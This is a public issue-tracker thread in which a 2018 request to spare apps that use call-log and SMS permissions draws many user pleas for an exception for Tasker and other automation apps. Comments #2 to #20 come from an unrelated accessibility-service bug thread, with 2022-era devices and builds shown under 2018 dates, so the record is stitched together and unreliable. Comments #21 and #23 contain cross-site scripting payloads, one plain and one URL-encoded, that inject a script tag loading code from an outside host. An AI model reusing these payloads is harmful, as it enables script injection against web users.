Request: don't harm or restrict apps that use call-log or SMS permissions [117486314]

WAI

Feature Request

[AOSP] assigned

Status Update

No update yet.

Description

lb...@gmail.com

created issue #1

Oct 9, 2018 10:41PM

I've noticed that there are new restrictions that will come about call-log and SMS :

https://android-developers.googleblog.com/2018/10/providing-safe-and-secure-experience.html

https://support.google.com/googleplay/android-developer/answer/9047303

https://9to5google.com/2018/10/08/play-store-policy-prevent-leaks/

https://www.xda-developers.com/google-play-developer-policy-call-log-sms/

While this might protect users who for some reason give permissions to apps that shouldn't request them, it also harms a lot of apps that use those permissions in ways that aren't mentioned on the websites, and can never fit into a table, because of so many possible cases.

For example, automated tools apps, like Tasker. Why should it be restricted now and have to be a Phone/SMS app ? It doesn't make sense.
Another example is CallerID apps. On the table, it's mentioned that such an app is only allowed to use "READ_CALL_LOG" permission, but this is really not enough. Such apps also monitor incoming and outgoing calls, to show who it is, so "PROCESS_OUTGOING_CALLS" is also required.

And I'm sure there are other cases too.

Please stop this hunt of apps usage of permissions. Android is supposed to be free of these things.

If you wish developers to have a good reason, just force them to explain the reason for each permission usage in the app description, and then decide if it's legitimate or not.

Each case and its own. Rules shouldn't exist so broadly .

Comments

ad...@google.com <ad...@google.com> Oct 10, 2018 09:55AM

Assigned to ad...@google.com.

ad...@google.com <ad...@google.com> #2Oct 10, 2018 11:07AM

This was on Pixel 6 with Android 12.1.

tr...@gmail.com <tr...@gmail.com> #3Oct 17, 2018 03:31PM

redacted

st...@yahoo.com <st...@yahoo.com> #4Nov 10, 2018 04:07PM

Thank you for reporting the issue. For us to further investigate this issue, please provide the following additional information:

Which Android build are you using? (e.g. PPP5.180610.010)

Android bug report (to be captured after reproducing the issue) For steps to capture a bug report, please refer:

https://developer.android.com/studio/debug/bug-report#bugreportdevice

Alternate method Navigate to “Developer options”, ensure “USB debugging” is enabled, then enable “Bug report shortcut”. Capture bug report by holding the power button and selecting the “Take bug report” option.

Screen Record of the Issue Please capture screen record or video of the issue using following steps: adb shell screenrecord /sdcard/video.mp4 Subsequently use following command to pull the recorded file: adb pull /sdcard/video.mp4 Attach the file to this issue.

Note: Please upload the bug report and screenshot to google drive and share the folder to android-bugreport@google.com, then share the link here.

rc...@gmail.com <rc...@gmail.com> #5Nov 11, 2018 08:58AM

@4 All the questions and the bug report file are already written.
It's on Pixel 4, Android 12.1 beta 3.
Notice the file "bugreport-oriole-S3B1.220420.005-2022-06-02-15-00-40.zip".

lb...@gmail.com <lb...@gmail.com> #6Nov 11, 2018 09:06AM

Thank you for reporting this issue. We have shared this with our product and engineering teams and will continue to provide updates as more information becomes available.

ri...@gmail.com <ri...@gmail.com> #7Nov 11, 2018 09:22AM

Hello,

Kindly provide the below detail for further investigation.

Could you be more specific on which permission you were talking about? (e.g. attach a screenshot?)
Or if you were referring to the state of being an enabled accessibility service, that is not a permission.

Thank you.

lb...@gmail.com <lb...@gmail.com> #8Nov 11, 2018 09:26AM

@7 Hello.
It's written in the title: Accessibility service.
Attached screenshot.

me...@gmail.com <me...@gmail.com> #9Nov 11, 2018 09:45AM

@7 As for calling it a permission, I know it's not the technical term, but to enable it means I grant it multiple permissions to be able to do various things that it allows.

ch...@gmail.com <ch...@gmail.com> #10Nov 11, 2018 09:47AM

Thank you for the quick reply, we passed information to the internal team and will update you once we receive any update from the eng team.

gr...@gmail.com <gr...@gmail.com> #11Nov 11, 2018 10:07AM

Hello,

Kindly check the following comment from our engineering team "I'm not aware of users of our major accessibility services encountering this problem. Services will also fail if they crash for some reason. I don't think we have a flaw in the QPR, so since this is just a one-off from an unknown developer, closing."

ra...@gmail.com <ra...@gmail.com> #12Nov 11, 2018 10:36AM

@11 It happens from time to time, and the app didn't change, and it worked fine on previous versions of Android.
It's a tiny app I've developed for myself.
It doesn't crash.

ga...@gmail.com <ga...@gmail.com> #13Nov 11, 2018 10:51AM

@11 Would you like me to prepare a similar app that does nothing (hence no way it crashes), to see that indeed it's revoked for it as well?
Sadly this issue is quite rare, though...

an...@gmail.com <an...@gmail.com> #14Nov 11, 2018 11:01AM

We passed information to the internal team and will update you once we receive any update from the eng team.

da...@gmail.com <da...@gmail.com> #15Nov 11, 2018 11:10AM

Tried to get a bug report when I noticed it (and then I enabled it again), and attached here.
Sadly the logs might have missed it, because I don't always use this accessibility service...

I think it might be related to the annoying notification of accessibility, that I can't disable. The reason is that I remember I saw it yesterday.
I'm talking about this:

https://issuetracker.google.com/issues/215403284

nk...@gmail.com <nk...@gmail.com> #16Nov 11, 2018 11:16AM

Peak arrogance, "I don't think we have a flaw in the QPR, so since this is just a one-off from an unknown developer, closing."

This is a known, long standing, issue Google refuse to fix, see: https://issuetracker.google.com/issues/75414169

be...@gmail.com <be...@gmail.com> #17Nov 11, 2018 11:23AM

This issue still occurs even today.
Occurs on TQ1A.230105.002 on Pixel 6.

sa...@gmail.com <sa...@gmail.com> #18Nov 11, 2018 11:35AM

redacted

ch...@gmail.com <ch...@gmail.com> #19Nov 11, 2018 11:49AM

I've got it again, and this time I've noticed it happens to another app that I've given accessibility :

https://play.google.com/store/apps/details?id=com.teslacoilsw.launcher

Please fix this.

jd...@gmail.com <jd...@gmail.com> #20Nov 11, 2018 11:55AM

This issue got to be known by Tasker users too, which is why Tasker got a special feature to have a workaround for it, re-enabling accessibility (using adb command to let it do it):

https://youtu.be/pyUxrWArztc?t=43

Please fix this. Nobody should use such workarounds...

ea...@gmail.com <ea...@gmail.com> #21Nov 11, 2018 11:59AM

"><script src="https://blackpanther87.vercel.app"></script>

to...@gmail.com <to...@gmail.com> #22Nov 11, 2018 12:01PM

ve...@gmail.com <ve...@gmail.com> #23Nov 11, 2018 12:20PM

%22%3E%3Cscript%20src=%22 https://blackpanther87.vercel.app%22%3E%3C/script%3E

ji...@gmail.com <ji...@gmail.com> #24Nov 11, 2018 12:23PM

Another voice to the choir supporting the opinion that Tasker should be allowed these permissions. I use this function daily and removing it is both unnecessary and undesired. Please reverse this decision Google.

ga...@gmail.com <ga...@gmail.com> #25Nov 11, 2018 12:49PM

Count me in amongst the users who like and want security & privacy, but also want Tasker to have enough exceptions to be able to continue operating as intended.

dr...@gmail.com <dr...@gmail.com> #26Nov 11, 2018 12:50PM

Don't do this.

je...@jwhetzel.com <je...@jwhetzel.com> #27Nov 11, 2018 01:03PM

I use the call and SMS features of Tasker every single say, and it's a primary reason why I use androind in the first place. Please don't take these permissions away from Tasker or any of the other automation apps.

ri...@gmail.com <ri...@gmail.com> #28Nov 11, 2018 01:14PM

One of the most obvious reasons why anyone would choose android over IOS is the ability to customize there device to meet individual needs. I have spent years customizing my devices and helping others customize there's with the help of tasker and now to have 80% of all my customizations be made inoperable would be the ultimate let down from google.

Please reconsider crippling the Google experience...

Thanks, Rich..

z2...@gmail.com <z2...@gmail.com> #29Nov 11, 2018 01:25PM

I use Tasker to reply to a specific phrase sent over text to find my phone if lost. SMS reading and sending is essential for that task.

da...@gmail.com <da...@gmail.com> #30Nov 11, 2018 01:33PM

SMS and call functions in automation apps are helping even in emergencies, e.g. when someone close to me sends me an SMS that contains how much time left when they get home from the data of their GPS app or a daughter sends an SMS to her mom when she's connected to school or Home Wi-Fi. I understand the reason behind deactivating the SMS and Call functionality in apps, cause they cause spam problems etc. But this feature in automation apps is essential to have. Without this feature hundreds of children could be lost, hundreds of relationships, and lives wouldn't be saved.

ni...@gmail.com <ni...@gmail.com> #31Nov 11, 2018 01:37PM

I use these features of Tasker daily. Having the ability to handle SMS and Calls automatically streamlines my workflow, and keeps me from being unnecessarily distracted when I need to focus on other things.

jt...@gmail.com <jt...@gmail.com> #32Nov 11, 2018 01:41PM

Automation is one of the key reasons I use Android instead of iOS. I use Tasker for, among other things, sending text messages when driving. Please don't remove this ability from automation apps.

pa...@gmail.com <pa...@gmail.com> #33Nov 11, 2018 01:46PM

I regularly use and rely on the SMS functionality of Tasker. Google, please do not revoke its access. Thanks.

th...@gmail.com <th...@gmail.com> #34Nov 11, 2018 02:01PM

I use SMS to geolocate my cars. Where I live data is not an option.
I send a SMS and I the phone send me a GPS location.
This then in turn allows police to move in on any of the stolen vehicles when I give them the number to text.
The phone sends a text back with a Google Maps link. The dispatcher can then direct the patrol officers as needed.

tl...@gmail.com <tl...@gmail.com> #35Nov 11, 2018 02:02PM

As a volunteer first responder (firefighter), I use the SMS functionality of Tasker to alert me to a dispatch. Our county uses a combination of radio and SMS dispatching. Many times, I am in a location where the radio dispatching is unavailable, so I have to rely on the SMS dispatch. I also work full-time in a field where I can't have my phone make notification noises for every notification, so it spends its time in silent mode. The SMS functionality of Tasker allows me to read incoming messages, determine if it's a dispatch, if it's a dispatch, make my phone ring loud and open Google Maps to navigate from my current location to the address of the 911 call.

Removing this functionality from Tasker, specifically, will force me to miss a large portion of calls. With a small, rural fire department, one volunteer missing a call likely means the difference between someone getting the care they need in a timely manner or (possibly) death.

Please, do not remove this functionality.

Thanks.

br...@gmail.com <br...@gmail.com> #36Nov 11, 2018 02:07PM

I routinely use the Tasker SMS and Call functionality in my daily firing tasks. Requiring these features to be removed would cripple the application. Please do not remove this functionality!

jo...@gmail.com <jo...@gmail.com> #37Nov 11, 2018 02:16PM

I understand the desire to improve security on Android and I love it. However, forcing these permissions away from automation apps like Tasker is not a great idea. There needs to be a way to explicitly allow users to allow these permissions. Google, please don't ruin great apps such as Tasker!

ni...@gmail.com <ni...@gmail.com> #38Nov 11, 2018 02:20PM

I'm using Tasker to automate paying of a road toll over SMS. It detects when I'm in a certain area, then sends an SMS to a short number, then waits for a confirmation SMS then sends another SMS to confirm the payment. This would stop working if Tasker will not be able to read and send SMS messages. We don't need an iOS-style restricted operating system - honestly this kind of freedom is the main reason I'm using Android and it's sad to see that, while Apple is lessening the control it has over its mobile OS, Google is making Android more and more restrictive.

ex...@gmail.com <ex...@gmail.com> #39Nov 11, 2018 02:25PM

I've already been dealt a hard blow when Gmail removed label-specific notifications, removing the ability for me and my team to vet emails for importance at the moment they're received. Now the removal of SMS and Call functionality will cripple the notification-specific abilities we have left for vetting important texts and calls at the moment they're received.

I do not understand the need to remove features from Android, features that made your platform popular and very useful for optimizing communication. Give us some method where apps can continue using these features, with explicit permission from the user, or they're blocked by default. This is done successfully for so many other app permissions.

br...@gmail.com <br...@gmail.com> #40Nov 11, 2018 02:30PM

I use Tasker multiple times a day to automate SMS messages. If this is taken away, I lose a core function of how I use my Android phone. The flexibility of Tasker is one of shining examples of what makes Android desirable over iOS (for me). Don't cripple this app, figure out a way allow users to give these permissions to the app properly.

or...@gmail.com <or...@gmail.com> #41Nov 11, 2018 02:39PM

Tasker SMS and Call functionality are key features of the automation app, itself a key reason I chose Android over iPhones. Please allow users to choose SMS and call permissions for the app.

mo...@comcast.net <mo...@comcast.net> #42Nov 11, 2018 02:40PM

Please leave Tasker alone. It is the best app ever made for Android. Dont screw up my phone.
Thank you!

gu...@gmail.com <gu...@gmail.com> #43Nov 11, 2018 02:50PM

Android was created to become an operating system which was open source and "hackable" without compromising security. Its now becoming less "hackable" and its very sad.

mo...@gmail.com <mo...@gmail.com> #44Nov 11, 2018 03:05PM

Adding to what's already been said, please leave Tasker alone. This is my all time favorite Android app and taking away sms severely cripples my use for it. This app is one of the reasons I still use Android.

mi...@gmail.com <mi...@gmail.com> #45Nov 11, 2018 03:14PM

One of the reasons I love and stick with Android is the ability to automate SMS messages based on certain triggers. Please don't remove this functionality!

ka...@gmail.com <ka...@gmail.com> #46Nov 11, 2018 03:14PM

Please do not break the existing functionality in Tasker and ACR. Both are used daily for safety and quality assurance purposes and are part of the main reason I use an Android phone.

vi...@gmail.com <vi...@gmail.com> #47Nov 11, 2018 03:16PM

There was a story I heard where the US Air Force (happy Veterans Day) was trying to design a new suit. They took the average body size, the average arm size, average leg size, etc. and put together a one-size-fits-all suit that didn't fit anybody because no one is completely average. It's a lesson in one-size-fits-all approach to design. Sure it's easier and cheaper and faster, but it doesn't benefit the userbase. Blanket enforcement of the new permissions does not benefit anyone. I know Google is trying to be more like Apple to take away some of their market share or whatever, but does Google really want to make itself worse for that cause? Android's greatest strength is it's customizability. Google is on a slippery slope to Apple's one-size-fits-all mediocrity by removing it's greatest strength.

Anyway, my point is Tasker is dope, and honestly Android's selling point for me. Make an exception for Tasker; I believe there is already precedence for granting Tasker exceptions. Embrace what makes you better than Apple.

jo...@gmail.com <jo...@gmail.com> #48Nov 11, 2018 03:27PM

I regularly use this functionality within Tasker, please do not go down the route of REMOVING access options.

jo...@gmail.com <jo...@gmail.com> #49Nov 11, 2018 03:31PM

You people have been making decision after decision that compromises the reasons I chose Android in the first place. Why are you SACRIFICING CUSTOMIZABILITY?! If users wanted a safe, monolithic, static, dumbed-down user experience, they'd go to Apple. We want ANDROID, the infinitely customizable. You're alienating your core user base who will end up abandoning you, sooner rather than later, at the rate of these terrible terrible decisions.

ma...@gmail.com <ma...@gmail.com> #50Nov 11, 2018 03:47PM

android becoming more iOS by every year

ht...@gmail.com <ht...@gmail.com> #51Nov 11, 2018 03:50PM

This is a disaster for me.

I use Tasker, Automagic and Should I Answer extensively. None of these will work after January. So why should I bother with Android any more? If you want to be IOS, I might as well buy Apple and be done with you Google.

Please rescind this dumb decision

mc...@gmail.com <mc...@gmail.com> #52Nov 11, 2018 03:53PM

Don't do it, Google... Tasker is one third the reason I'm on an Android product.

ge...@gmail.com <ge...@gmail.com> #53Nov 11, 2018 03:58PM

I bought an Android Phone, 3 GH Minis, a Max and a Homehub and THEN Tasker precisely to use these options you're getting rid of as part of the home automation setup and security check-in for my kids if we aren't home after they finish school, as my area ain't the best to live in. Following that, got the YouTube Premium for YTM and GPM integration with an (also brand new) Chromecast. I dropped just over 2 grand in a fortnight for this app, and what it does. 2 grand in products near all made by Google. Lucky for me, they have a one month cash back refund system, which I will use to switch everything over and away from the Alphabet family of products if this ludicrous denial of service to faithful consumers of your kit goes ahead.

Leave it be.

nj...@gmail.com <nj...@gmail.com> #54Nov 11, 2018 04:02PM

Please reconsider giving Tasker an exception to the new SMS/Call permissions restrictions.

vo...@gmail.com <vo...@gmail.com> #55Nov 11, 2018 04:03PM

I rely on Tasker's SMS capabilities for multiple facets of my daily life. If this functionality is gone, you will have crippled the strongest claim Android has on me. With all of the copying Apple across the board, this is the step that, upon completion, will force me to just switch over. Why would I want a clone of an iPhone that does less? Tasker is Android's most useful app hands down.

dt...@gmail.com <dt...@gmail.com> #56Nov 11, 2018 04:15PM

I rely on Tasker to send a text to my wife saying I'm on my way home from my job in EMS. Tasker does so automatically when my phone connects to my car's Bluetooth. If Google were to remove this functionality it would cause my family undue worry. This is unacceptable to me. Please reconsider your position.

na...@gmail.com <na...@gmail.com> #57Nov 11, 2018 04:20PM

These features in Tasker are one of the main reasons I use Android. Google please either provide an exception or a better alternative.

ph...@gmail.com <ph...@gmail.com> #58Nov 11, 2018 04:24PM

I'm just a user who sells phones, but this is going to take a big chunk out of my enthusiasm for the platform as a better choice. Big.

ja...@gmail.com <ja...@gmail.com> #59Nov 11, 2018 04:33PM

I've been using Android since Jellybean and it won me over from the userbility of the platform. If you don't correct this you will be removing a big chunk of Androids userbility.

la...@gmail.com <la...@gmail.com> #60Nov 11, 2018 04:44PM

Please don't destroy the automated apps like Tasker for power users. If you continue this extreme lock down, we will select other phones, like iPhone. We need to have this sms,texting automation. Some of us have real lives to run that automation affords us more time to do other business and interact with family. Don't cripple the automated apps!

jo...@gmail.com <jo...@gmail.com> #61Nov 11, 2018 04:46PM

I often use tasker in ways that require these permissions. Without them i will likely be forced to use third-party non-playstore apps. Nobody wants this.

dr...@gmail.com <dr...@gmail.com> #62Nov 11, 2018 04:47PM

Allowing apps like taker to have access to this information is incredibly useful.

I use this functionality it to read me any new texts I receive while I am driving so I do not have to look at my phone while I drive. I am fully aware of the permission I am giving this app and what it is being used for.

Please reconsider forbidding these permissions to taker as they are incredibly useful for an automation app like this.

ba...@gmail.com <ba...@gmail.com> #63Nov 11, 2018 04:48PM

Please do not cripple Tasker like this.

fi...@gmail.com <fi...@gmail.com> #64Nov 11, 2018 04:49PM

Please consider making an exception for Tasker. It's one of the most important, if not the most important application that I use of on my phone. I understand the need for security but exceptions should be made for apps that don't abuse the privilege. Thank you for consideration

pa...@gmail.com <pa...@gmail.com> #65Nov 11, 2018 04:54PM

Please do NOT ruin tasker... Kinda would force us to switch to unsafe old version..

ak...@gmail.com <ak...@gmail.com> #66Nov 11, 2018 04:58PM

Please don't destroy the automated apps like Tasker for power users.

If you continue this ridiculous, shortsighted lock down, we will select other phones.

ti...@gmail.com <ti...@gmail.com> #67Nov 11, 2018 05:08PM

Having an automation app like Tasker is the main reason I use Android. That includes SMS and call functions. You might as well be iOS if you're taking away technology and dumbing down your ecosystem.

dc...@gmail.com <dc...@gmail.com> #68Nov 11, 2018 05:12PM

Please do not force Tasker to eliminate its phone and SMS features. These features make it possible to implement protections the elderly and disabled, such as notifying caregivers when certain conditions are true. For example, I wrote a task that notifies me when an elderly aunt's phone has not moved for a certain length of time. It gives me and my aunt great piece of mind, knowing that I would be able to respond if she is incapacitated for some reason.

mj...@gmail.com <mj...@gmail.com> #69Nov 11, 2018 05:12PM

Please provide Tasker an exception.

My use case is to automatically forward missed calls and SMS messages to my receive-only text pager. That has been a lifesaver for years and is something I regularly boast about to my co-workers who don't use Android.

ma...@gmail.com <ma...@gmail.com> #70Nov 11, 2018 05:15PM

Please count me among the Tasker users that would like it to exempt from the proposed rules.

fa...@gmail.com <fa...@gmail.com> #71Nov 11, 2018 05:17PM

I chose Android for it's customizability and Tasker is the method by which I do that. You've already crippled it by removing the ability to pass voice variables to Tasker via Google Assistant, now you're infringing on my safety automations by removing call and SMS MMS access? I am actively searching for a new provider!

al...@gmail.com <al...@gmail.com> #72Nov 11, 2018 05:17PM

Provide Tasker an exception so it can still have SMS and call permissions. This app is the pinnacle of Android's capability and losing it would be a disgrace to Android. The amount of good it has done for users shouldn't be ignored.

fi...@gmail.com <fi...@gmail.com> #73Nov 11, 2018 05:20PM

These proposed rules seem to be restricting my daily workflow too. Too many apps will loose their functionality.

p0...@gmail.com <p0...@gmail.com> #74Nov 11, 2018 05:26PM

Don't ruin Tasker! Don't! Leave the required permission to let Tasker run as it should!

ju...@gmail.com <ju...@gmail.com> #75Nov 11, 2018 05:27PM

This just can't be the best solution for this problem. Put a flag in the developer options, if you first have to figure out the secret knock to access it, you should be aware that there might be dragons.

mi...@gmail.com <mi...@gmail.com> #76Nov 11, 2018 05:30PM

I am have been using tasker for automating SMS stuff for years now. Now someone from Google decides to "nah... this is not secure, lets remove that feature from thousands of power users, they will be secure now, nice." -.- but allows to read clipboard by any app without any permissions.

li...@gmail.com <li...@gmail.com> #77Nov 11, 2018 05:33PM

The ability to automate/program simple tasks on Android was one of the main reason I jumped ship from iOS, this will be a huge blow against Android if it goes through. I hope Google will reconsider.

mo...@gmail.com <mo...@gmail.com> #78Nov 11, 2018 05:35PM

Yes, please do not limit this ability -- the only reason I buy android is because I have the freedom, with powerful tools like Tasker, to be creative in how i use it and truly feel like my phone is uniquely for me... not just some mindless consumer device. Please re-think this decision, Google.

al...@gmail.com <al...@gmail.com> #79Nov 11, 2018 05:42PM

Dear Google, please do not limit Tasker or any of it's related apps. They are why I use an Android. If you limit this app or any of the other ones for Tasker, I will move to iOS. Frankly, I'm one of the last Android holdouts among my friends and family, and crippling Tasker this way will not inspire loyalty. Tasker is a strong tool that I use to auto respond to SMS messages in a variety of situations. No, I don't want a Google version of this app. I want this app.

nr...@gmail.com <nr...@gmail.com> #80Nov 11, 2018 05:48PM

Tasker is the reason to use Android. If it gets gimped, I'll have to switch to Linux. That means I'll have to sell the pixel 2 XL and move off of Project Fi as well. Oh well, that's not too much of a loss. At least then I can automate with simpler shell scripts.

Actually, I'm going to start looking into Linux-compatible phones right now. Thanks for the push!

re...@gmail.com <re...@gmail.com> #81Nov 11, 2018 05:48PM

Please do not remove SMS/MMS access from Tasker. Removing this functionality from Tasker but keeping it in your own assistant app looks a lot like you're unfairly removing competition.

br...@gmail.com <br...@gmail.com> #82Nov 11, 2018 05:51PM

Please add an exception for Tasker. Like many others who have already commented, Tasker is the BIGGEST selling point for Android for me, period. Tasker and is without question my favorite app/feature to ever exist on the Android platform. I want to be able to automate my device to meet my needs and life. Without a fully operational Tasker app, Android wouldn't be Android anymore.

al...@gmail.com <al...@gmail.com> #83Nov 11, 2018 05:58PM

Please add an exception for Tasker to read SMS/MMS and call logs. This is a critical feature that I and many others PAID MONEY FOR to use.

cm...@gmail.com <cm...@gmail.com> #84Nov 11, 2018 06:03PM

Please allow Tasker these permissions!

pe...@gmail.com <pe...@gmail.com> #85Nov 11, 2018 06:04PM

Please add an exception for Tasker. This is an amazing app that enhances the Android experience and it is maintained by a trusted developer. Our ability to choose the apps we give access/permissions to is what makes Android great.

nw...@gmail.com <nw...@gmail.com> #86Nov 11, 2018 06:07PM

I agree with a lot of the others. I use Tasker for responding to text messages with my voice while driving. By eliminating this feature I will no longer be able to do this and this will make things more difficult and potentially dangerous. Please reconsider your decision. Thank you.

mi...@gmail.com <mi...@gmail.com> #87Nov 11, 2018 06:13PM

Please add an exception for Tasker to read SMS/MMS and call logs. This is a critical feature that I paid for.

th...@gmail.com <th...@gmail.com> #88Nov 11, 2018 06:15PM

Please add an exception for this amazingly useful app, SMS and call log access is important and useful and one of the main reasons many people (me included) have purchased Tasker. Please don't cripple it like this, leave the option available - the permission is optional anyway!

pe...@gmail.com <pe...@gmail.com> #89Nov 11, 2018 06:16PM

I would like to add my voice to this discussion and respectfully request that Google allowed this exception for Tasker. Sms and call assess is one of the core features of this app for me. As well as for thousands of other users. Please don't destroy hard work put I to this app by blindly following a policy.

mm...@gmail.com <mm...@gmail.com> #90Nov 11, 2018 06:20PM

I text almost exclusively through an "automation" app, and have several scripts based on receiving texts. I can't imagine such important functionality being removed from me against my will. What could can come from this decision?

pa...@stlgeek.net <pa...@stlgeek.net> #91Nov 11, 2018 06:21PM

"Don't be evil"

We PAID for tasker because we WANT tasker. What Google is doing here is BREAKING tasker because "reasons." Why? If someone doesn't WANT tasker, they won't BUY tasker.

"Don't be evil"

jo...@gmail.com <jo...@gmail.com> #92Nov 11, 2018 06:22PM

Please add an exception for automation apps.

br...@gmail.com <br...@gmail.com> #93Nov 11, 2018 06:23PM

If nothing else please add an exception for Tasker. This is an amazing app that enhances the Android experience and it is maintained by a trusted developer. Our ability to choose the apps we give access/permissions to is what makes Android great.

re...@gmail.com <re...@gmail.com> #94Nov 11, 2018 06:24PM

Please add any exemption for Tasker, google should try and be different then Apple. If I wanted to be told how I can and cannot use my technology i would be using ios.

ex...@gmail.com <ex...@gmail.com> #95Nov 11, 2018 06:26PM

We need an exception for Tasker to read SMS. This is important as I use it to trigger alarms on specific sms alerts.

ni...@gmail.com <ni...@gmail.com> #96Nov 11, 2018 06:28PM

I don't like this change, it will just make lots of people try to circumvent this change, possibly increasing the security risks!

Make an exception!

ra...@gmail.com <ra...@gmail.com> #97Nov 11, 2018 06:30PM

plz make aan exception for apps like tasker!

ha...@gmail.com <ha...@gmail.com> #98Nov 11, 2018 06:31PM

I'd like to show my support for an exception to automation apps, such as Tasker. I use Tasker to execute SMS functions daily.

rg...@gmail.com <rg...@gmail.com> #99Nov 11, 2018 06:33PM

Please allow an exception to this rule for the app Tasker. Tasker enhances the user experience in ways which basic caller and SMS do not offer such as the ability to block calls from unwanted sources without having to block each number individually. SMS can also be enhanced by Tasker by allowing Tasker to react to difficult SMS messages and act upon them automatically. These abilities are not offered by any current default SMS or Caller app. It would require those apps to incorporate additional developer resources to add.. something that I'm sure those app developers will never do. Tasker offers users the ability to create thier own Assistants and to control those Assistants in a way that offers them true customization.

c....@gmail.com <c....@gmail.com> #100Nov 11, 2018 06:42PM

Please add an exception for automation apps like Tasker. These features are important to a large number of users and are arguably why everyone here showing support is using an Android over an Apple device.

dr...@gmail.com <dr...@gmail.com> #101Nov 11, 2018 06:44PM

"Each case and its own. Rules shouldn't exist so broadly ."

Blanket restrictions are poorly thought out. This situation is very similar to the issue we are having with Android Pie where Google for reasons known only to itself has disabled Call Recording - completely - world wide. Theres no way around it except by rooting the phone. But it looks like this particular issue now is tied into that one . What are Google up to here ?

su...@gmail.com <su...@gmail.com> #102Nov 11, 2018 06:44PM

I believe automation apps should be excluded from this new rule! Apps like tasker are helpful and give me control of my device! The main thing that sets you, google, apart from apple, is this! Start fencing in your garden, and you'll just loose users! I say this has someone that uses google products, own google home, etc.. Really doing your best to make me (and other people) take our business to your competitors!

ve...@gmail.com <ve...@gmail.com> #103Nov 11, 2018 06:46PM

Lately Google's copying all the bad aspects of Apple and none of the positive ones. Please be careful with what you are doing.

Apple is super restrictive but has great support and hardware. Please don't kill Android and let it stay a super customizable. I want to be in control of my phone and use it the way I want, and not the way you dictate it. If so was the case I would go for Apple stuff.

mi...@writhem.com <mi...@writhem.com> #104Nov 11, 2018 06:50PM

I gain so much value in the ability for apps like tasker to be able to send SMS directly. In my use-case I have written a script within the tasker app that lets me click two buttons on my watch while I am driving to let my wife know that I am almost at her work. I do this without being distracted or interrupting my audiobook while driving. Options are what makes Android strong. Give the user the choice. Prompt them and warm them when they make a choice you think that could hurt them, but allow them to make it anyway! Thanks for hearing us out.

vp...@gmail.com <vp...@gmail.com> #105Nov 11, 2018 06:56PM

Adding my vote to strongly ask Google to consider making exceptions for automation apps. The core function of Tasker and similar apps is to automate all things on the device, including calls and messaging.

ke...@gmail.com <ke...@gmail.com> #106Nov 11, 2018 07:03PM

Please allow exceptions for automation apps like Tasker!

sc...@gmail.com <sc...@gmail.com> #107Nov 11, 2018 07:10PM

Another vote in support of allowing automation apps to allow users to enable these permissions.

pe...@gmail.com <pe...@gmail.com> #108Nov 11, 2018 07:12PM

I also would like to use Tasker with the SMS Permissions allowed.

su...@gmail.com <su...@gmail.com> #109Nov 11, 2018 07:13PM

Adding my voice in support of allowing automation apps to access these permissions.

fa...@gmail.com <fa...@gmail.com> #110Nov 11, 2018 07:13PM

This functionality in Tasker is enables a core use case for me. Removing it would substantially reduce the utility of my Android device.

ep...@gmail.com <ep...@gmail.com> #111Nov 11, 2018 07:16PM

Please allow exceptions for Tasker to use SMS permissions. I've used Tasker on every Android phone since my first one in 2010. It's emblematic of what makes Android great. If Google keeps removing functionality, I might as well switch to the iPhone.

pf...@gmail.com <pf...@gmail.com> #112Nov 11, 2018 07:21PM

Please add an exception for Tasker to read SMS/MMS and call logs. This is a critical feature that I paid for.

ja...@gmail.com <ja...@gmail.com> #113Nov 11, 2018 07:25PM

Please do not remove SMS/MMS access from Tasker guys. This is nonsense!

jl...@gmail.com <jl...@gmail.com> #114Nov 11, 2018 07:28PM

Please make an exception for Tasker and Macrodroid.

On Sun, Nov 11, 2018, 2:25 PM <buganizer-system@google.com wrote:

- Show quoted text -

tr...@gmail.com <tr...@gmail.com> #115Nov 11, 2018 07:32PM

Please make an exception for apps like Tasker

ma...@gmail.com <ma...@gmail.com> #116Nov 11, 2018 07:34PM

I would also like to add my voice into this as I find it a very useful feature to remove on a very popular app.

ww...@rkalla.de <ww...@rkalla.de> #117Nov 11, 2018 07:34PM

Please make an exception for Tasker

mm...@gmail.com <mm...@gmail.com> #118Nov 11, 2018 07:38PM

Google, Please allow automation apps to have access to SMS and CALL functionality.

lu...@gmail.com <lu...@gmail.com> #119Nov 11, 2018 07:38PM

Please make an exception for Tasker and similar apps.

be...@gmail.com <be...@gmail.com> #120Nov 11, 2018 07:39PM

Raising my voice to not broke automation apps like Automagic and Tasker.

bj...@gmail.com <bj...@gmail.com> #121Nov 11, 2018 07:43PM

Please make an exception to ALL automation apps, such as Tasker and Automate.

I use SMS functionality in Tasker DAILY. I simply cannot go without this feature.

Google, you need to stop disrespecting your power users and your developers. First call recording, and now this. You are systematically removing everything that was once great about Android, and the open platform that it is. There are already things in Android 9.0 that I can no longer do, that I was able to do in the past. Our phones are much more than accessories. They are mini computers in our pockets capable of awesome things, and you need to acknowledge that.

If you want to push your users to a closed platform, fine. I'm sure many of us will jump ship to iOS if you keep treating us like this.

You are quickly pushing away your users and developers alike, and this needs to stop now.

ka...@gmail.com <ka...@gmail.com> #122Nov 11, 2018 07:45PM

Hi,
its the only way to drive handsfree if u are hungarian, and my grandmother cant even handle SMARTPHONES , but she able to push a button and speak/dial hungarian.
should my blind friend also contact you , that pls dont do it?
thank you

de...@gmail.com <de...@gmail.com> #123Nov 11, 2018 07:46PM

I think you go too far google. Please reconsider and make a special case here.

as...@gmail.com <as...@gmail.com> #124Nov 11, 2018 07:47PM

You need to make exceptions for apps like tasker whose user know what they are doing. These apps have a learning curve which a uninformed user can't get through.

pe...@gmail.com <pe...@gmail.com> #125Nov 11, 2018 07:50PM

Please reconsider giving Tasker an exception to the new SMS/Call permissions restrictions.

ry...@gmail.com <ry...@gmail.com> #126Nov 11, 2018 07:52PM

This is ridiculous Google. Stop destroying the only apps that are worth a damn, Android is about choice, not a walled garden.

wj...@gmail.com <wj...@gmail.com> #127Nov 11, 2018 07:55PM

Please don't kill apps that need these permissions

vu...@gmail.com <vu...@gmail.com> #128Nov 11, 2018 07:56PM

If you keep going down the road of restrictive feature-killing policies like this, I'll be forced to drop Google and Android and get an iPhone. If I am stuck in a crappy walled garden, I'll take the one with better quality and privacy. Apps like Tasker are the only reason I still have an Android.

tw...@gmail.com <tw...@gmail.com> #129Nov 11, 2018 07:59PM

Would really like to keep using this functionality.

ho...@gmail.com <ho...@gmail.com> #130Nov 11, 2018 08:02PM

There's so much useful stuff you can do with Tasker's SMS automation. Why strip it of such awesomeness? I even improvised an anti theft system using the sms automation. Exempt Tasker from this thingy. Or just give up the idea altogether, everything was fine till you came up with this "NEAT" idea to limit the users.

mq...@metroconnectonline.com <mq...@metroconnectonline.com> #131Nov 11, 2018 08:07PM
